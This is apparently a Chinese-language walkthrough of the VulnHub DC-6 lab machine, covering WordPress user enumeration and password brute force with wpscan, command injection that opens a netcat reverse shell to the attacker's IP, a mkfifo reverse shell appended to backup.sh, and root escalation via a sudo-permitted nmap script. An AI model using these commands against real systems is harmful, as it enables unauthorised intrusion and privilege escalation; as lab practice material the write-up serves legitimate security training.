本例使用的工具主要有:wpscan,BurpSuite,nc(瑞士军刀)
Kali 2018, DC-6靶机, VMWare虚拟机平台 DC-6靶机的渗透需要用到DC作者在https://www.vulnhub.com/entry/dc-6,315/给出的提示
发现主机这个步骤省略
站点使用了wordpress,考虑使用wpscan
root@kali:~# wpscan --url wordy -euDC-6的作者给了这样的提示
OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ?
这个文件可以在kali OS对应的目录下找到我们根据提示生成一本字典,用于密码爆破 root@kali:~# wpscan --url wordy -U users.txt -P dc6pass.txt ----省略n行---- [+] Performing password attack on Xmlrpc against 5 user/s [SUCCESS] - mark / helpdesk01 Trying jens / !lak019b Time: 00:09:39 <======================> (12547 / 12547) 100.00% Time: 00:09:39 [i] Valid Combinations Found: | Username: mark, Password: helpdesk01 现在可以登入网站后台本地开启端口监听
root@kali:/# nc -lvp 1234远程代码,放入bp中再转发给目标主机,即可拿到shell
g.cn | nc 192.168.11.128 1234 -e /bin/bash追加到backup.sh的内容
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.11.128 1234 > /tmp/f 本地打开nc监听后运行backup.sh,可以拿到jens的shell,sudo -l看一下,nmap可以免密root,让这条命令帮我们打开一个shell,就可以拿到root。然后修改root密码,新建用户并设置密码再ssh登陆,最后切换为root账户 echo 'os.execute("/bin/sh")' > getroot.nse nmap --script getroot.nse